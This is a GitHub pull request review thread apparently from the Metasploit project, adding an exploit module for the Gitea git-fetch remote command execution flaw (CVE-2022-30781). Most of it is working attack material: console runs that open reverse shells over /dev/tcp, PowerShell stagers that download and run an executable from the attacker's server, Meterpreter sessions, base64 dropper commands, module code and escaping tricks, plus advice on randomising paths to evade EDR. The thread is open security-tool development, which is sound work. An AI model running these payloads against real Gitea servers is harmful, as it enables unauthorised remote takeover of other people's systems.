Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Gitea Git fetch RCE module - CVE-2022-30781 #17021

Merged
merged 31 commits into from
Nov 17, 2022

Conversation

krastanoel
Copy link
Contributor

This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version.

Docker installation

:~$ docker-compose up
:~$ cat << EOF >> gitea/gitea/conf/app.ini
> [migrations]
> ALLOW_LOCALNETWORKS = true
> EOF

Verification

List the steps needed to make sure this thing works

  • Navigate to /user/sign_up and register normal user
  • Start msfconsole
  • use unix/webapp/gitea_git_fetch_rce
  • set RHOSTS [ips]
  • set LHOST [lhost]
  • set USERNAME [username]
  • set PASSWORD [password]
  • run
  • Verify the module should get a shell.

Demo

msf6 > use unix/webapp/gitea_git_fetch_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set USERNAME msf
USERNAME => msf
msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set PASSWORD qwerty
PASSWORD => qwerty
msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set VERBOSE true
VERBOSE => true
msf6 exploit(unix/webapp/gitea_git_fetch_rce) > run

[+] bash -c '0<&180-;exec 180<>/dev/tcp/172.17.0.1/4444;sh <&180 >&180 2>&180'
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/gitea_git_fetch_rce) >
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/msf/eqESXv4b
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b
[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b/topics
[*] Creating repository "7vX49Gy2Rui5WHQ"
[+] Repository created
[*] Migrating repository
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:50212) at 2022-09-15 18:51:31 +0700
[*] Cleanup: removing repository "7vX49Gy2Rui5WHQ"
[*] Cleanup: removing repository "eqESXv4b"
[*] Server stopped.

msf6 exploit(unix/webapp/gitea_git_fetch_rce) > sessions 1
[*] Starting interaction with 1...

id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @krastanoel for this great module! I left a few comments and suggestions for you to review when you get a chance.

Also, I noticed this module has some similar logics from the other Gitea Hook RCE module. Methods like get_csrf , gitea_create_repo and gitea_login seem to be similar. I think it would be a good idea to move these to a common library and use it in both modules to avoid code duplication. If you choose to do so, I would recommend to update the other module in a separate PR.

modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
'Privileged' => false,
'Targets' => [
[
'Unix Command',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe Gitea can also be installed on Windows and it might be a good idea to add support to this platform too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah I know this has been bugged me too. Unfortunately I still can't figured out why the module won't work on Windows.

msf6 exploit(multi/http/gitea_git_fetch_rce) > rerun
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/ZkARSaEz01
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/yMxHkTQ
[*] Adding hardcoded uri /api/v1/repos/msf/yMxHkTQ/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/yMxHkTQ/topics
[*] Creating repository "HU6WGuq"
[+] Repository created
[*] Using URL: http://192.168.0.104:8080/XFiSZmubHCz
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\REICBwml.exe http://192.168.0.104:8080/XFiSZmubHCz & %TEMP%\\REICBwml.exe & del%TEMP%\\REICBwml.exe"]
[*] Executing command: powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\REICBwml.exe http://192.168.0.104:8080/XFiSZmubHCz & %TEMP%\REICBwml.exe & del %TEMP%\REICBwml.exe
[*] Command Stager progress - 100.00% done (152/152 bytes)
[*] Migrating repository
[*] Exploit completed, but no session was created.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So it turns out I'm installing the latest Git command line on the Windows testing machine. The git remote add -f master ./ command will fail starting from Git version 2.34.0 and so the git fetch master --upload-pack=<payload> will not executed. I've document this limitation in the new module documentation.

I'm still unsuccessful using cmdstager

2022/10/03 17:34:57 Completed POST /msf/5nIJrv6SmPe/git-upload-pack 200 OK in 44.8731ms
2022/10/03 17:34:58 ...ns/gitea_uploader.go:674:newPullRequest() [E] Fetch branch from ./ failed: exit status 128 - powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\QHTdSVhQ.exe http://192.168.0.104:8080/oFqDlNI3 & %TEMP%\QHTdSVhQ.exe & del %TEMP%\QHTdSVhQ.exe './': line 0: bg: no job control
        powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\QHTdSVhQ.exe http://192.168.0.104:8080/oFqDlNI3 & %TEMP%\QHTdSVhQ.exe & del %TEMP%\QHTdSVhQ.exe './': del:command not found
        fatal: Could not read from remote repository.
        ...

Notice the del: command not found error, it look like the Powershell command is executed in a different console environment I think, but I'm not sure. I do tried manually defines a command to just write file in the home directory and it works using absolute path like so echo test > c:\\\\users\\\\msf\\\\findme.txt. I guess the %TMP% doesn't translate to the full path. The module support :win_cmd.

msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2
target => 2
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/00e9iwZPNly
[*] Adding hardcoded uri /api/v1/repos/msf/00e9iwZPNly/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/00e9iwZPNly/topics
[*] Creating repository "y1rX9W"
[+] Repository created
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object ...))"
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49451) at 2022-10-03 17:41:09 +0700

PS C:\Users\msf\Downloads\data\gitea-repositories\msf\00e9iwzpnly.git>

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I will test this and let you know if I find the issue. Thanks for the details!

@krastanoel
Copy link
Contributor Author

@cdelafuente-r7 Thank you for reviewing the module. I've been away and caught up with some other works but will continue to work on this module I hope that's okay.

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @krastanoel for refactoring this module! This is really great to have a library for Gitea now. This will be certainly useful for future exploits.

I tested the module against a docker installation and it works great, as long as the payload fit in one request. Using a bigger payload will fail (e.g. a stageless payload like linux/x64/meterpreter_reverse_tcp). Please see my comments below. I'll also test against a Windows host and check the issue you reported.

In the meantime, I left some comments and suggestions for review.

modules/exploits/multi/http/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/http/gitea/base.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/http/gitea/version.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/http/gitea/version.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/http/gitea/version.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/webapp/gitea_git_fetch_rce.rb Outdated Show resolved Hide resolved
'Privileged' => false,
'Targets' => [
[
'Unix Command',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I will test this and let you know if I find the issue. Thanks for the details!

@cdelafuente-r7
Copy link
Contributor

cdelafuente-r7 commented Nov 7, 2022

Hi @krastanoel , I just wanted to check if you need any help to address the last comments. I believe this module can land quickly after these last changes are made.

Also, I tested against Gitea on Windows and confirmed the issue with a newer version of Git. However, I coud not reproduce the cmdstager error since there is no Windows specific target for this. I believe this target is missing:

          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],

You will also need to handle this target correctly in the code to make sure characters are properly escaped to not break the JSON in the HTTP response.

EDIT: It is actually recommended to use CmdStagerFlavor instead of defining the CMDSTAGER::FLAVOR default option for both Linux and Windows dropper targets. I've updated the code above to reflect that. You can also completely remove this and let the Framework select it automatically based on the Platform. It's up to you.

krastanoel and others added 3 commits November 8, 2022 14:09
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
- combine gitea_version into get_gitea_version for the check method
- validate empty username
- move cleanup process to its own method and handle the response
- remove timeout and http delay option
- adjust target type location as code review suggestion
- move repository migration to execute_command.
NOTE: the stageless payload is still unsuccessfull but keep this anyway for christophe to review.
- handle cleanup method on manual `check`
- adjust targets flavour option
- add :win_dropper target and handle the payload delivery
NOTE: the Windows dropper target is still unsuccessfull but keep this for further review
@krastanoel
Copy link
Contributor Author

Hi @krastanoel , I just wanted to check if you need any help to address the last comments. I believe this module can land quickly after these last changes are made.

Also, I tested against Gitea on Windows and confirmed the issue with a newer version of Git. However, I coud not reproduce the cmdstager error since there is no Windows specific target for this. I believe this target is missing:

          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],

You will also need to handle this target correctly in the code to make sure characters are properly escaped to not break the JSON in the HTTP response.

EDIT: It is actually recommended to use CmdStagerFlavor instead of defining the CMDSTAGER::FLAVOR default option for both Linux and Windows dropper targets. I've updated the code above to reflect that. You can also completely remove this and let the Framework select it automatically based on the Platform. It's up to you.

Yes, I realize I left out that target, I've added the target now and these are a few notes for you when you try reproduce this.
When using the :win_droper this error would likely appeared.

msf6 exploit(multi/http/gitea_git_fetch_rce) > rerun
...
[*] Using URL: http://192.168.65.104:8080/
[-] Exploit failed: Rex::RuntimeError The supplied resource '/' is already added.
[*] Exploit completed, but no session was created.

The Powershell flavor is trying to add / resource which already exist. Configuring the CMDSTAGER::URIPATH will solve this. I've also set the CMDSTAGER::URIPATH to /payloads by default in the target DefaultOptions here.

msf6 exploit(multi/http/gitea_git_fetch_rce) > set CMDSTAGER::URIPATH /payloads
CMDSTAGER::URIPATH => /payloads
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 192.168.65.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.65.104:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/npVRRG1O
[*] Adding hardcoded uri /api/v1/repos/msf/npVRRG1O/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/npVRRG1O/topics
[*] Creating repository "TL2iFjBj"
[+] Repository created
[*] Using URL: http://192.168.65.104:8080/payloads
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\NnlzoIFF.exe http://192.168.65.104:8080/payloads & %TEMP%\\NnlzoIFF.exe & del %TEMP%\\NnlzoIFF.exe"]
[*] Executing command: powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\NnlzoIFF.exe http://192.168.65.104:8080/payloads & %TEMP%\NnlzoIFF.exe & del %TEMP%\NnlzoIFF.exe
[*] Migrating repository
[*] Command Stager progress - 100.00% done (149/149 bytes)
[*] Successfully cleanup repository 'TL2iFjBj'
[!] Repository 'npVRRG1O' not found, possibly already deleted
[*] Exploit completed, but no session was created.

Once you do, pay attention to the target Gitea instance running in the command prompt, you will see fatal: Could not read from remote repository. and the './': del:command not found error.

In the meantime, the changes requested (minus the stageless payload) is now works well on Linux dropper and command.

msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 192.168.65.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.65.104:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/obArY7d
[*] Adding hardcoded uri /api/v1/repos/msf/obArY7d/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/obArY7d/topics
[*] Creating repository "gHpHsXQsMf"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAA...]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgAB...
[*] Migrating repository
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 192.168.65.1
[*] Meterpreter session 1 opened (192.168.65.104:4444 -> 192.168.65.1:41276) at 2022-11-09 16:02:36 +0700
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Server stopped.
[*] Successfully cleanup repository 'gHpHsXQsMf'
[*] Successfully cleanup repository 'obArY7d'

meterpreter > getuid
Server username: git
meterpreter > exit
[*] Shutting down Meterpreter...
...
msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 0
target => 0
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[+] bash -c '0<&204-;exec 204<>/dev/tcp/192.168.65.104/4444;sh <&204 >&204 2>&204'
[*] Started reverse TCP handler on 192.168.65.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.65.104:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/iqawppnXVP
[*] Adding hardcoded uri /api/v1/repos/msf/iqawppnXVP/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/iqawppnXVP/topics
[*] Creating repository "lg4mKvp8XI"
[+] Repository created
[*] Executing command: bash -c '0<&126-;exec 126<>/dev/tcp/192.168.65.104/4444;sh <&126 >&126 2>&126'
[*] Migrating repository
[*] Command shell session 2 opened (192.168.65.104:4444 -> 192.168.65.1:41524) at 2022-11-09 16:35:30 +0700
[*] Server stopped.
[*] Successfully cleanup repository 'lg4mKvp8XI'
[*] Successfully cleanup repository 'iqawppnXVP'

id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

Windows command.

msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.65.21
rhosts => 192.168.65.21
msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2
target => 2
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 192.168.65.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.65.104:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/jgdjLuobJNB
[*] Adding hardcoded uri /api/v1/repos/msf/jgdjLuobJNB/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/jgdjLuobJNB/topics
[*] Creating repository "lvSodoia"
[+] Repository created
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object ..."
[*] Migrating repository
[*] Powershell session session 3 opened (192.168.65.104:4444 -> 192.168.65.21:49547) at 2022-11-09 16:32:18 +0700
[*] Successfully cleanup repository 'lvSodoia'
[*] Successfully cleanup repository 'jgdjLuobJNB'

PS C:\Users\Administrator\Downloads\data\gitea-repositories\msf\jgdjluobjnb.git>

@cdelafuente-r7
Copy link
Contributor

Thanks for updating this. It looks good to me now.

Regarding the issues you reported:

  • stageless payload: you're right, the exploit doesn't seem to work with multiple commands this way. I think you should try to redo the full process for each command. In other words, each time execute_command is called, migrate to execute the command and then cleanup everything (removing the repos for a fresh start). This might not be possible, but it is worth a try.

  • Windows dropper: after testing on my environment, I found out Gitea process pass the command to C:\Program Files\Git\usr\bin\sh.exe and not cmd. This has a few consequences: %TEMP% is not expended, & does not work like with cmd and backslashed need to be escaped multiple times. I managed to make it work with something like this:

original command:

powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\fbgTSXwH.exe http://192.168.144.1:8080/payloads & %TEMP%\fbgTSXwH.exe & del %TEMP%\fbgTSXwH.exe

modified command:

powershell.exe -c Invoke-WebRequest -OutFile $TEMP\\\fbgTSXwH.exe http://192.168.144.1:8080/payloads && $TEMP\\\fbgTSXwH.exe && del $TEMP\\\fbgTSXwH.exe

This might not be a solution unless the user is forced to use the cmdstager's psh_invokewebrequest flavor. There might be a lot of other specific statements that won't work with sh.exe. Maybe the cmdstager is not a good solution here. It is up to you if you want to continue investigating and find a good way to use it.

Finally, the psh_invokewebrequest cmdstager's flavor needs a local web server to deliver the payload (and probably other flavors need it too). So, since your module is already running a web server up on http://<lhost>:8080/ it will conflict with the web server the cmdstager is starting. By default, it uses the same configuration (SRVHOST and SRVPORT). Setting CMDSTAGER::URIPATH is one option, but would you mind using a random string instead of payloads? We usually avoid using hardcoded values to reduce the chance to be picked by EDR's.

@krastanoel
Copy link
Contributor Author

* stageless payload: you're right, the exploit doesn't seem to work with multiple commands this way. I think you should try to redo the full process for each command. In other words, each time `execute_command` is called, migrate to execute the command and then cleanup everything (removing the repos for a fresh start). This might not be possible, but it is worth a try.

I've just tried this and yes It's still not worked. I modified the module like this.

  ...
  def primer
    [
      '/api/v1/version', '/api/v1/settings/api',
      "/api/v1/repos/#{@migrate_repo_path}",
      "/api/v1/repos/#{@migrate_repo_path}/pulls",
      "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources
  end

  def execute_command(cmd, _opts = {})
    print_status("Executing command: #{cmd}")
    @p = cmd

    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = repo_path(@migrate_repo_name)
    @payload_delivered = false

    vprint_status("Creating repository \"#{@repo_name}\"")
    @uid = gitea_create_repo(@repo_name)
    vprint_good('Repository created')
    vprint_status('Migrating repository')
    clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"
    auth_token = rand_text_alphanumeric(6..15)
    @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)

    # removing repo only after the payload is delivered
    until @payload_delivered
      sleep(0.1)
    end
    gitea_remove_repo(repo_path(@repo_name))
    gitea_remove_repo(repo_path(@migrate_repo_name))
    print_status("Successfully cleanup repository '#{@repo_name}' and '#{@migrate_repo_name}'")
  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,
         Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,
         Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
    fail_with(Failure::UnexpectedReply, e.message)
  end

  def on_request_uri(cli, req)
    case req.uri
    ...
    when "/api/v1/repos/#{@migrate_repo_path}"
      @payload_delivered = true
      data = {
        clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",
        owner: { login: datastore['username'] }
      }
      send_response(cli, data.to_json)
  ...
  end
end

If the module doesn't sleep until the instance variable @payload_delivered is true, then the staged payload will not work because the repository will be removed before the client access our on_request_uri method. It's also take up to 40 minutes to finished with stageless payload but no session was created.

msf6 exploit(multi/http/gitea_git_fetch_rce) > date
[*] exec: date

Fri Nov 11 17:41:23 UTC 2022
msf6 exploit(multi/http/gitea_git_fetch_rce) > rerun
[*] Reloading module...
...
[*] Successfully cleanup repository '9FRSRfxq' and 'tWGgMOoKc3'
[*] Command Stager progress -  99.84% done (1405602/1407904 bytes)
[*] Executing command: echo -n AAAA...>>'/tmp/WZOeO.b64'
[*] Successfully cleanup repository 'b2jhVw' and 'h7ZX07x'
[*] Command Stager progress -  99.97% done (1407436/1407904 bytes)
[*] Executing command: ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/NqBWI' < '/tmp/WZOeO.b64' ; chmod +x '/tmp/NqBWI' ; '/tmp/NqBWI' & sleep 2 ; rm -f '/tmp/NqBWI' ; rm -f '/tmp/WZOeO.b64'
[*] Successfully cleanup repository '8kd8s5tay' and 'WTpsi33Am9b'
[*] Command Stager progress - 100.00% done (1407904/1407904 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/gitea_git_fetch_rce) > date
[*] exec: date

Fri Nov 11 18:19:27 UTC 2022

At this point I'm not sure if this implementation should be commit? I would like to ask you first before doing it. I feel like like since this will not worked it should not be commited but user should at least know that using a bigger payload will not worked so I have no idea how to proceed with this one.

* Windows dropper: after testing on my environment, I found out Gitea process pass the command to `C:\Program Files\Git\usr\bin\sh.exe` and not `cmd`. This has a few consequences: `%TEMP%` is not expended, `&` does not work like with `cmd` and backslashed need to be escaped multiple times. I managed to make it work with something like this:

original command:

powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\fbgTSXwH.exe http://192.168.144.1:8080/payloads & %TEMP%\fbgTSXwH.exe & del %TEMP%\fbgTSXwH.exe

modified command:

powershell.exe -c Invoke-WebRequest -OutFile $TEMP\\\fbgTSXwH.exe http://192.168.144.1:8080/payloads && $TEMP\\\fbgTSXwH.exe && del $TEMP\\\fbgTSXwH.exe

This might not be a solution unless the user is forced to use the cmdstager's psh_invokewebrequest flavor. There might be a lot of other specific statements that won't work with sh.exe. Maybe the cmdstager is not a good solution here. It is up to you if you want to continue investigating and find a good way to use it.

Oh wow this was cool! I didn't realize that doing $TEMP\\\fbgTSXwH.exe would worked. However, in my case I got this error on the target.

2022/11/11 20:58:43 ...ns/gitea_uploader.go:674:newPullRequest() [E] Fetch branch from ./ failed: exit status 128 - Invoke-WebRequest : Could not find a part of the path \015
        'C:\Users\Administrator\Downloads\data\gitea-repositories\msf\8ldjc7sympf.git\%TEMP%\DxBaeDbo.exe'.\015
        At line:1 char:1\015
        + Invoke-WebRequest -OutFile %TEMP%\DxBaeDbo.exe http://192.168.120.104 ...\015

So I have to replace %TEMP% altogether.

  def execute_command(cmd, _opts = {})
    @p = cmd
    if target['Type'] == :win_dropper
      @p.gsub!(/%TEMP%\\/,"\\\\\\\\\\")
      @p.gsub!(/&/,'&&')
    end
    print_status("Executing command: #{@p}")
    ...
  end

msf6 exploit(multi/http/gitea_git_fetch_rce) > rerun
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.65.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.65.104:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/
[*] Adding hardcoded uri /api/v1/repos//pulls
[*] Adding hardcoded uri /api/v1/repos//topics
[*] Using URL: http://192.168.65.104:8080/QLe2cg1
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\mKHvwCHJ.exe http://192.168.65.104:8080/QLe2cg1 & %TEMP%\\mKHvwCHJ.exe & del %TEMP%\\mKHvwCHJ.exe"]
[*] Executing command: powershell.exe -c Invoke-WebRequest -OutFile \\\mKHvwCHJ.exe http://192.168.65.104:8080/QLe2cg1 && \\\mKHvwCHJ.exe && del \\\mKHvwCHJ.exe
[*] Creating repository "sjzRbIG"
[+] Repository created
[*] Migrating repository
[*] Command Stager progress -  93.24% done (138/148 bytes)
[*] Sending stage (200774 bytes) to 192.168.65.21
[*] Meterpreter session 3 opened (192.168.65.104:4444 -> 192.168.65.21:49505) at 2022-11-11 21:13:26 +0700
[*] Successfully cleanup repository 'sjzRbIG'
[*] Successfully cleanup repository 'dnXP3P675dOR1c'

meterpreter >

The executable was dropped in the repository directory so removing the repository should be done at cleanup method otherwise no session will be created. I'm still confused why your target could understand %TEMP% while mind is not. Do you think we should implement this? Like modified the Powershell command if user would choose to use :win_dropper target?

Finally, the psh_invokewebrequest cmdstager's flavor needs a local web server to deliver the payload (and probably other flavors need it too). So, since your module is already running a web server up on http://<lhost>:8080/ it will conflict with the web server the cmdstager is starting. By default, it uses the same configuration (SRVHOST and SRVPORT). Setting CMDSTAGER::URIPATH is one option, but would you mind using a random string instead of payloads? We usually avoid using hardcoded values to reduce the chance to be picked by EDR's.

I've try to make it random with rand_text_alphanumeric(6..15) in the initialize method but got this error.

...
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::URIPATH' => rand_text_alphanumeric(6..15)
              }
            }
          ]
...
msf6 exploit(multi/http/gitea_git_fetch_rce) > reload
[*] Reloading module...
[-] Failed to reload: undefined method `[]' for nil:NilClass

Is it okay if we set it in the exploit method like this?

  def exploit
    unless datastore['AutoCheck']
      fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?
      gitea_login(datastore['username'], datastore['password'])
    end

    datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"

    start_service
    primer
    ...
end

@cdelafuente-r7
Copy link
Contributor

cdelafuente-r7 commented Nov 15, 2022

The executable was dropped in the repository directory so removing the repository should be done at cleanup method otherwise no session will be created. I'm still confused why your target could understand %TEMP% while mind is not. Do you think we should implement this? Like modified the Powershell command if user would choose to use :win_dropper target?

%TEMP% can only be expanded by cmd, and since Git passes the command to sh.exe, it won't work. However, sh.exe has a few environment variables set by default, such as $TEMP:

C:\>"C:\Program Files\Git\usr\bin\sh.exe"
sh-4.4$ set
…
SYSTEMDRIVE=C:
SYSTEMROOT='C:\Windows'
TEMP=/tmp
…
sh-4.4$ echo $TEMP
/tmp

As I said, I had to substitute %TEMP% with $TEMP to make it work. It looks like all the native Windows environment variables are mapped by sh.exe this way (%VAR% –> $VAR). So, it can be interesting to update any potential environment variable in the command.

FYI, this is the substitutions I used during testing:

      cmd = cmd.gsub(/%(\w+)%/) {"$#{$1}"}.gsub(/&/) {'&&'}.gsub(/\\/) {'\\\\\\'}

BTW, I recommend using gsub that way, with a block instead of the standard form gsub(pattern, replacement). It will save you a lot of headache with those backslashes (see this for details).

In your solution, %TEMP% is completely removed and replaced by a sequence of backslashes:

      powershell.exe -c Invoke-WebRequest -OutFile \\\mKHvwCHJ.exe http://192.168.65.104:8080/QLe2cg1 && \\\mKHvwCHJ.exe && del \\\mKHvwCHJ.exe

This means the payload will be stored in the root directory (C:\ if Gitea is installed on the C: drive), which will require a privileged user. This doesn't work on my environment and this is the error I got:

Invoke-WebRequest : Access to the path 'C:\mKHvwCHJ.exe' is denied.\015

If the module doesn't sleep until the instance variable @payload_delivered is true, then the staged payload will not work because the repository will be removed before the client access our on_request_uri method. It's also take up to 40 minutes to finished with stageless payload but no session was created.

So, this is the big problem here. Your solution is a good idea, but since the web server is threaded it will require implementing complex Thread synchronization with Mutex or Monitor to avoid any race conditions. For example:

  include MonitorMixin
  

  def execute_command(cmd, _opts = {})
    
    auth_token = rand_text_alphanumeric(6..15)
    @payload_delivered = false
    @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)

    synchronize do
      @payload_delivered_cond.wait_until { @payload_delivered }
